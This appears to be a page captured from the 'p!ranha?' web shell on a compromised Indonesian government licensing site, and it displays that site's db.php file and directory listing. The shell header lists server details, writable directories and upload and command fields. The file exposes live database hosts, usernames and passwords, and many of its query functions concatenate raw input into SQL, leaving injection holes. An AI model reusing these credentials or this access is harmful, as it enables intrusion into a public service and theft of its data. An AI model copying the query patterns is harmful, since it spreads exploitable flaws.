p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/admin/part/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/admin/part/db.php
<?php
define('PATH', 'https://dpmptsp.pekanbaru.go.id/home/');
define('PATH2', 'https://dpmptsp.pekanbaru.go.id/');
//define('DB_HOST', 'localhost'); 
//define('DB_USERNAME', 'root'); 
//define('DB_PASSWORD', 'pus4td4t4/2017/1Z1N'); 
//define('DB_NAME', 'dpmptsp');

define('DB_HOST', '172.25.100.10'); 
define('DB_USERNAME', 'singledb'); 
define('DB_PASSWORD', 'S1ngl3db2024!'); 
define('DB_NAME', 'singledb_simpel');
	
	try {
    $conn = new PDO("mysql:host=".DB_HOST.";dbname=".DB_NAME, DB_USERNAME, DB_PASSWORD);
	$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );	
    }
catch(PDOException $e)
    {
    echo "Koneksi Database Gagal : " . $e->getMessage();
    }
	
	function buatSelect($name, $arr = array(), $id, $required, $class) {
		echo '<select class="'.$class.'" name="'.$name.'" id="'.$name.'" '.($required ? 'required' : '').' >'."\n";
		if (count($arr) > 0) {
			foreach ($arr as $v) {
				echo "<option value='".$v."'";
				if ($v == $id) {
					echo " selected";
				}
				echo ">".$v."</option>\n";
			}
 
			echo "<option value='industri mesin, elektronik, instrumen kedokteran, peralatan listrik, presisi, optik dan jam'>industri mesin, elektronik, instrumen kedokteran, peralatan listrik, presisi, optik dan jam</option>\n";
			echo "<option value='industri barang dari kulit dan alas kaki'>industri barang dari kulit dan alas kaki</option>\n";
			echo "<option value='industri karet dan plastik'>industri karet dan plastik</option>\n";
			echo "<option value='industri kayu'>industri kayu</option>\n";
			echo "<option value='industri kendaraan bermotor dan alat transportasi lain'>industri kendaraan bermotor dan alat transportasi lain</option>\n";
			echo "<option value='industri lainnya'>industri lainnya</option>\n";
			echo "<option value='industri logam dasar, barang logam bukan mesin dan peralatannya'>industri logam dasar, barang logam bukan mesin dan peralatannya</option>\n";
			echo "<option value='industri mineral non logam'>industri mineral non logam</option>\n";
			echo "<option value='perikanan'>perikanan</option>\n";
			echo "<option value='pertambangan'>pertambangan</option>\n";

		}
		echo "</select>";
	}


function tglNormal($date,$delimeter){
	if(strlen($date)==10){
		if(($date=='0000-00-00')or(empty($date))){
			return '';
		}else{
			$date = explode('-',$date);
			if(isset($delimeter)){
				$date = $date[2].$delimeter.$date[1].$delimeter.$date[0];	
			}else{
				$date = $date[2].'-'.$date[1].'-'.$date[0];	
			}
			return($date);
		}
	}else{
		if(($date=='0000-00-00 00:00:00')or(empty($date))){
			return '';
		}else{
			$tgl = explode(' ',$date);
			$date = explode('-',$tgl[0]);
			if(isset($delimeter)){
				$date = $date[2].$delimeter.$date[1].$delimeter.$date[0].' '.$tgl[1];	
			}else{
				$date = $date[2].'-'.$date[1].'-'.$date[0].' '.$tgl[1];	
			}
			return($date);
		}		
	}
	
}
	
	function buatSelectBulan($name, $id, $required, $class) {
		echo '<select class="'.$class.'" name="'.$name.'" '.($required ? 'required' : '').' >'."\n";
		$BulanIndo = array('01'=>"Januari", '02'=>"Februari", '03'=>"Maret", '04'=>"April", '05'=>"Mei", '06'=>"Juni", '07'=>"Juli", '08'=>"Agustus", '09'=>"September", '10'=>"Oktober", '11'=>"November", '12'=>"Desember");		
			foreach ($BulanIndo as $k=>$v) {
				echo "<option value='".$k."'";
				if ($k == $id) {
					echo " selected";
				}
				echo ">".$v."</option>\n";
			}
		echo "</select>";
	}	

		function buatSelectTahun($name, $id,$from,$to, $required, $class) {
		echo '<select class="'.$class.'" name="'.$name.'" '.($required ? 'required' : '').' >'."\n";
			for($i=$from;$i<=$to;$i++){
				echo "<option value='".$i."'";
				if ($i == $id) {
					echo " selected";
				}
				echo ">".$i."</option>\n";
			}
		echo "</select>";
	}
	
function tglIndo($date){
	$BulanIndo = array("Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember");
	$bulan = substr($date, 5, 2);
	$tgl = substr($date, 8, 2);
	$tahun   = substr($date, 0, 4);
	$result = $tgl . " " . $BulanIndo[(int)$bulan-1] . " ". $tahun;		
	return($result);
}	
function tglIndo2($date){
	$BulanIndo = array("Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember");
	$tgl = substr($date, 0, 2);
	$bulan = substr($date, 3, 2);
	$tahun   = substr($date, 6, 4);
	$result = $tgl . " " . $BulanIndo[(int)$bulan-1] . " ". $tahun;		
	return($result);
}
	function createSelect($name, $arr = array(), $id, $required, $class,$ket) {
		echo '<select class="'.$class.'" id="'.$name.'" name="'.$name.'"  '.($required ? 'required' : '').' '.$ket.' >'."\n";
		if ($id == 0) {
			echo'<option value="0">Pilih</option>';
		}
		if (count($arr) > 0) {
			foreach ($arr as $k=>$v) {
				echo "<option value='".$v['id']."'";
				if ($v['id'] == $id) {
					echo " selected";
				}
				echo ">".(strlen($v['name']) > 150 ? substr($v['name'], 0, 150).'...' : $v['name'])."</option>\n";
			}
		}
		echo "</select>";
	}
	
	function createSelect2($name, $arr = array(), $id, $required, $class,$ket) {
		echo '<select class="'.$class.'" id="'.$name.'" name="'.$name.'"  '.($required ? 'required' : '').' '.$ket.' >'."\n";
		echo '<optgroup label="Provinsi">';
		if (($id == 0) or ($id == 1)){
			echo'<option value="1" selected>Riau</option>';
		}else{
			echo'<option value="1">Riau</option>';
		}
		echo '</optgroup>';
		echo '<optgroup label="Kabupaten/Kota">';
		if (count($arr) > 0) {
			foreach ($arr as $k=>$v) {
				echo "<option value='".$v['id']."'";
				if ($v['id'] == $id) {
					echo " selected";
				}
				echo ">".(strlen($v['name']) > 45 ? substr($v['name'], 0, 45).'...' : $v['name'])."</option>\n";
			}
		}
		echo '</optgroup>';
		echo "</select>";
	}
	
function dateNormal($date){
if(!empty($date)){
	$date = explode('-',$date);
	$date = $date[2].'/'.$date[1].'/'.$date[0];	
	}
	return($date);
}

function dateSql($date){
	$date = explode('/',$date);
	$date = $date[2].'-'.$date[1].'-'.$date[0];	
	return($date);
}

	function romanicNumber($integer, $upcase = true)  { 
		$table = array('M'=>1000, 'CM'=>900, 'D'=>500, 'CD'=>400, 'C'=>100, 'XC'=>90, 'L'=>50, 'XL'=>40, 'X'=>10, 'IX'=>9, 'V'=>5, 'IV'=>4, 'I'=>1); 
		$return = ''; 
		while($integer > 0) 
		{ 
		    foreach($table as $rom=>$arb) 
		    { 
		        if($integer >= $arb) 
		        { 
		            $integer -= $arb; 
		            $return .= $rom; 
		            break; 
		        } 
		    } 
		} 
		
		return $upcase ? $return : strtolower($return); 
	}

	function debug($x){
		echo'<pre>';
		print_r($x);
		echo'</pre>';
	}

	function writeLog($tipe,$pesan,$userid){
		global $conn;
				$stmt = $conn->prepare("INSERT INTO tbl_log
										(logTipe, logTgl, logPesan,logUserID) 
										VALUES (:logTipe, :logTgl, :logPesan,:logUserID) 
										"); 
			$data = array(
						':logTipe'=>$tipe,
						':logTgl'=>date('Y-m-d H:i:s'),
						':logPesan'=>$pesan,
						':logUserID'=>$userid
						);
			if ($stmt->execute($data)) { 
					return true;
					}else{
					return false;
					}
	}

	function jumlahData($tabel){
		global $conn;
				$stmt = $conn->prepare("SELECT count(*) as total from ".$tabel." "); 
				$stmt->execute();
				$jumlah = $stmt->fetchColumn();
				$stmt->closeCursor();
				return $jumlah;
	}
	function jumlahDataQuery($query){
		global $conn;
				$stmt = $conn->prepare("SELECT count(*) as total ".$query." "); 
				$stmt->execute();
				$jumlah = $stmt->fetchColumn();
				$stmt->closeCursor();
				return $jumlah;
	}
	
	function getDataBySQL($sql){
		global $conn;						
			$stmt = $conn->prepare($sql); 			
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	
	function getData($tipe,$batas){
		global $conn;
		if($batas>0){
				$batas ='LIMIT '.$batas;
			}else{
				$batas ='';		
			}
			
		if($tipe=='all'){
				$tipe2 ='';
			}else{
				$tipe2 = "AND post_type='".$tipe."'";		
			}			
			
			$stmt = $conn->prepare("SELECT post_ID,post_title,post_image,post_date,post_type,post_counter,post_content FROM tbl_post 
									where post_status=1 ".$tipe2." 
									order by post_date DESC ".$batas." "); 
			
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	function getData2($tipe,$batas){
		global $conn;
			$stmt = $conn->prepare("SELECT post_ID,post_title,post_image,post_date,post_type FROM tbl_post 
									where tbl_post.post_status=1 
									order by post_date DESC LIMIT ".$batas." "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	function getCari($q,$tipe,$awal,$akhir){
		global $conn;
		if($tipe=='all'){
			$stmt = $conn->prepare("SELECT post_ID,post_title,post_image,post_date,post_type,post_counter,post_content FROM tbl_post 
									where tbl_post.post_status=1 AND 
									(post_title LIKE '%".$q."%' OR post_type LIKE '%".$q."%' OR post_content LIKE '%".$q."%')
									order by post_date DESC LIMIT ".$awal.",".$akhir." ");
			}elseif($tipe=='arsip'){
			$stmt = $conn->prepare("SELECT post_ID,post_title,post_image,post_date,post_type,post_counter,post_content FROM tbl_post 
									where tbl_post.post_status=1 AND 
									(post_date LIKE '%".$q."%')
									order by post_date DESC LIMIT ".$awal.",".$akhir." ");
			}else{
			$stmt = $conn->prepare("SELECT post_ID,post_title,post_image,post_date,post_type,post_counter,post_content FROM tbl_post 
									where tbl_post.post_status=1 AND post_type='".$tipe."'
									order by post_date DESC LIMIT ".$awal.",".$akhir." ");
			}			
 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	
	function getBerita($id){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM tbl_post 
									where tbl_post.post_status=1 and tbl_post.post_ID='".$id."'
									order by post_date DESC LIMIT 1 "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	function getIzin($id){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM jenislayanan 
									where tampil=1 and id='".$id."'
									LIMIT 1 "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	function getIzinDetail($jenis,$judul){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM jenislayanan 
									where judul LIKE '%".$judul."%'
									LIMIT 1 "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	function getJP(){
		global $conn;
			$stmt = $conn->prepare("SELECT id,judul,jenis,sop,formulir FROM jenislayanan WHERE tampil=1 order by judul"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	
	function getDataIzin($tipe,$batas){
		global $conn;
			$stmt = $conn->prepare("SELECT id,judul FROM jenislayanan 
									where jenis='".$tipe."' and tampil=1 
									order by id LIMIT ".$batas." "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	function getDataPartner($batas){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM partner 
									order by no LIMIT ".$batas." "); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}
	function getPimpinan(){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM pejabat,jabatan
									WHERE jabatan.jbtnID=pejabat.jabatan AND (jabatan.jbtnParentID=0 OR jabatan.jbtnParentID=1)
									order by jabatan.jbtnID"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	function getKasi($parent){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM pejabat,jabatan
									WHERE jabatan.jbtnID=pejabat.jabatan AND (jabatan.jbtnParentID='".$parent."')
									order by jabatan.jbtnID"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}	
	function getAbout(){
		global $conn;
			$stmt = $conn->prepare("SELECT * FROM about order by no"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;
	}		
	function getArsip(){
		global $conn;
			$stmt = $conn->prepare("SELECT DATE_FORMAT(`post_date`, '%m') as 'month', COUNT(`post_ID`) as 'total', DATE_FORMAT(`post_date`, '%Y-%m') as 'tgl'
			FROM  tbl_post WHERE `post_date` > DATE_SUB(now(), INTERVAL 11 MONTH)
			GROUP BY DATE_FORMAT(`post_date`, '%m') ORDER by tgl DESC"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
		$BulanIndo = array("01"=>"Januari", "02"=>"Februari", "03"=>"Maret", "04"=>"April", "05"=>"Mei", "06"=>"Juni", "07"=>"Juli", "08"=>"Agustus", "09"=>"September", "10"=>"Oktober", "11"=>"November", "12"=>"Desember");
		foreach($data as $k=>$v){
			$hasil[$BulanIndo[$v['month']]]['jumlah']=$v['total'];
			$hasil[$BulanIndo[$v['month']]]['tanggal']=$v['tgl'];
		}
		return $hasil;		
	}
	function getVisitorBulanan(){
		global $conn;
			$stmt = $conn->prepare("SELECT DATE_FORMAT(`visitor_date`, '%m') as 'month', COUNT(`visitor_ID`) as 'total', DATE_FORMAT(`visitor_date`, '%Y-%m') as 'tgl'
			FROM  tbl_visitor_logs WHERE MONTH(`visitor_date`) <= MONTH(CURRENT_DATE - INTERVAL 12 MONTH) 
			GROUP BY DATE_FORMAT(`visitor_date`, '%m') ORDER by month"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
		$BulanIndo = array("01"=>"Januari", "02"=>"Februari", "03"=>"Maret", "04"=>"April", "05"=>"Mei", "06"=>"Juni", "07"=>"Juli", "08"=>"Agustus", "09"=>"September", "10"=>"Oktober", "11"=>"November", "12"=>"Desember");
		foreach($data as $k=>$v){
			$hasil[$BulanIndo[$v['month']]]['jumlah']=$v['total'];
			$hasil[$BulanIndo[$v['month']]]['tanggal']=$v['tgl'];
		}
		return $hasil;		
	}
		function getVisitorMingguan(){
		global $conn;
			$stmt = $conn->prepare("SELECT COUNT(`visitor_ID`) as 'total', DATE_FORMAT(`visitor_date`, '%d-%m-%Y') as 'tgl' 
FROM  tbl_visitor_logs WHERE DATE(visitor_date) BETWEEN CURDATE() - INTERVAL 7 DAY AND CURDATE()
			GROUP BY tgl order by visitor_date"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();

		return $data;		
	}

	function getStatPengunjung(){
		global $conn;
			$stmt = $conn->prepare("SELECT COUNT(`visitor_ID`) as 'total' FROM  tbl_visitor_logs WHERE `visitor_date` LIKE '".date('Y-m')."%'"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
		foreach($data as $k=>$v){
			$hasil['bulan']=$v['total'];
		}
			$stmt = $conn->prepare("SELECT COUNT(`visitor_ID`) as 'total' FROM  tbl_visitor_logs WHERE `visitor_date` LIKE '".date('Y-m-d')."%'"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
		foreach($data as $k=>$v){
			$hasil['hari']=$v['total'];
		}
			$stmt = $conn->prepare("SELECT COUNT(`visitor_ID`) as 'total' FROM  tbl_visitor_logs"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
		foreach($data as $k=>$v){
			$hasil['total']=$v['total'];
		}		
		return $hasil;		
	}	
	
	function getJenisPerizinan(){
		global $conn;
			$stmt = $conn->prepare("SELECT jenis,count(id) as total FROM  jenislayanan WHERE tampil=1 GROUP BY jenis ORDER by jenis DESC"); 
			$stmt->execute();
			$data = $stmt->fetchAll();
			$stmt->closeCursor();
			return $data;		
	}
	
	function visitor_log($sessId){	
	global $conn;
		if(isset($sessId)){		
		if($sessId<>'192.168.1.199'){
			$date = date('Y-m-d H:i:s');
			$agent = $_SERVER['HTTP_USER_AGENT'];
			(!empty($_SERVER['HTTP_REFERER'])) ? $reff = $_SERVER['HTTP_REFERER'] : $reff = '';
			
			@$var = file_get_contents("http://ip-api.com/json/$sessId");
			$var = json_decode($var);
			
			$stmt = $conn->prepare("INSERT INTO `tbl_visitor_logs` 
								(`visitor_IP`, `visitor_referer`, `visitor_date`, `visitor_agent`, `visitor_session`, `visitor_city`, `visitor_region`, `visitor_country`, `visitor_os`, `visitor_browser`, `visitor_isp`) 
								VALUES (:visitor_IP, :visitor_referer, :visitor_date, :visitor_agent, :visitor_session, :visitor_city, :visitor_region, :visitor_country, :visitor_os, :visitor_browser, :visitor_isp)"); 
			$visitorLogs = array(
					'visitor_IP' => $sessId, 
					'visitor_referer' => $reff, 
					'visitor_date' => $date, 
					'visitor_agent' => $agent, 
					'visitor_session' => $sessId,
					'visitor_city' => @$var->city, 	
					'visitor_region' => @$var->regionName, 	
					'visitor_country' => @$var->country, 	
					'visitor_os' => getOS($agent),
					'visitor_browser' => getBrowser($agent),
					'visitor_isp' => @$var->isp
			);
							
		if ($stmt->execute($visitorLogs)) { 
			return TRUE;
			}else{
			return FALSE;
			}	
		}else{
			return FALSE;
		}			
		}else{ return FALSE; }			
	}

function getOS($user_agent) { 
    $os_platform    =   "Unknown OS Platform";
    $os_array       =   array(
                            '/windows nt 10/i'     =>  'Windows 10',
                            '/windows nt 6.3/i'     =>  'Windows 8.1',
                            '/windows nt 6.2/i'     =>  'Windows 8',
                            '/windows nt 6.1/i'     =>  'Windows 7',
                            '/windows nt 6.0/i'     =>  'Windows Vista',
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                            '/windows nt 5.1/i'     =>  'Windows XP',
                            '/windows xp/i'         =>  'Windows XP',
                            '/windows nt 5.0/i'     =>  'Windows 2000',
                            '/windows me/i'         =>  'Windows ME',
                            '/win98/i'              =>  'Windows 98',
                            '/win95/i'              =>  'Windows 95',
                            '/win16/i'              =>  'Windows 3.11',
                            '/macintosh|mac os x/i' =>  'Mac OS X',
                            '/mac_powerpc/i'        =>  'Mac OS 9',
                            '/linux/i'              =>  'Linux',
                            '/ubuntu/i'             =>  'Ubuntu',
                            '/iphone/i'             =>  'iPhone',
                            '/ipod/i'               =>  'iPod',
                            '/ipad/i'               =>  'iPad',
                            '/android/i'            =>  'Android',
                            '/blackberry/i'         =>  'BlackBerry',
                            '/webos/i'              =>  'Mobile'
                        );

    foreach ($os_array as $regex => $value) { 
        if (preg_match($regex, $user_agent)) {
            $os_platform    =   $value;
        }
    }   
    return $os_platform;
}

function getBrowser($user_agent) {
    $browser        =   "Unknown Browser";
    $browser_array  =   array(
                            '/msie/i'       =>  'Internet Explorer',
                            '/firefox/i'    =>  'Firefox',
                            '/safari/i'     =>  'Safari',
                            '/chrome/i'     =>  'Chrome',
                            '/edge/i'       =>  'Edge',
                            '/opera/i'      =>  'Opera',
                            '/netscape/i'   =>  'Netscape',
                            '/maxthon/i'    =>  'Maxthon',
                            '/konqueror/i'  =>  'Konqueror',
                            '/mobile/i'     =>  'Handheld Browser'
                        );
foreach ($browser_array as $regex => $value) { 
        if (preg_match($regex, $user_agent)) {
            $browser    =   $value;
        }
    }
   return $browser;
}	

function buatLink($tipe,$no,$judul){
	if($tipe=='Berita'){$tipe='Kegiatan';}
	$alt=$judul;
	$tipe = str_replace(' ', '-',$tipe);
	$judul = preg_replace('~[^a-zA-Z0-9\s]+~', '', $judul);	
	$judul = str_replace(' ', '-',$judul);	
	$link=PATH.$tipe.'/'.$no.'/'.$judul.'" title="'.$alt.'" alt="'.$alt;
	return($link);
}	
function buatLinkMeta($tipe,$no,$judul){
	$alt=$judul;
	if($tipe=='Berita'){$tipe='Kegiatan';}	
	$judul = preg_replace('~[^a-zA-Z0-9\s]+~', '', $judul);	
	$judul = str_replace(' ', '-',$judul);	
	$link=$tipe.'/'.$no.'/'.$judul.'';
	return($link);
}	
function ambilNarasi($p,$x){
	if (strlen($p)<=$x) {
		return($p);
		}else{
	$s=substr($p,$x,1);
		if(ctype_space($s)){
		$n=substr($p,0,$x);
		return($n);
		}else{
		$x++;
		return(ambilNarasi($p,$x));
		}
	}
}

	function countView($posID){	
	global $conn;
		if(isset($posID)){		
			$stmt = $conn->prepare("UPDATE tbl_post SET
									post_counter=post_counter+1
									WHERE post_ID=:ID
									"); 
			$data = array(
						':ID'=>$posID
						);
							
		if ($stmt->execute($data)) { 
			return TRUE;
			}else{
			return FALSE;
			}		
		}else{ return FALSE; }			
	}

	
	function aInj($data){
		$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));
		$filter = str_replace("'","\'",$filter);
		return $filter;
	}

	function MySQLToMoney($val, $precision = 0, $task = 'print', $zero = 0) {
		if ($val == 0) {
			return $zero;
		} else {
			if (substr($task,0,7) == 'preview' || substr($task,0,5) == 'print') {
				if ($precision >= 0) {
					return number_format($val, $precision, ',', '.');
				} else {
					$val = floatval($val);
					$val2 = explode('.',$val);
					
					if (count($val2) > 1) {
						return number_format($val, strlen($val2[1]), ',', '.');
					} else {
						return $val;
					}
				}
			} else {
				//ekspor
				//NOTE: pada server inggris cukup return $val, sementara pada server indonesia, sbb:
				//      formatnya dilakukan di excel via style, jadi angka tetap bisa dihitung di excel
				if ($precision > 0) {
					return $val;
				} else {
					$val2 = explode('.',$val);
					
					return $val2[0];
				}
			}
		}
	}	
		
	
?>

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:33:10
1000 / 1000
0755
tcpdf
--
December 21 2023 09:33:47
1000 / 1000
0755
act.php
41.376 KB
September 25 2025 03:01:00
1000 / 1000
0755
db.php
21.823 KB
January 13 2024 09:11:16
1000 / 1000
0755
head.php
3.791 KB
January 13 2024 08:37:57
1000 / 1000
0755
header.php
1.656 KB
January 13 2024 08:37:56
1000 / 1000
0755
import_js.php
11.582 KB
January 13 2024 08:37:57
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:37:57
1000 / 1000
0755
sidebar.php
5.865 KB
January 13 2024 08:37:57
1000 / 1000
0755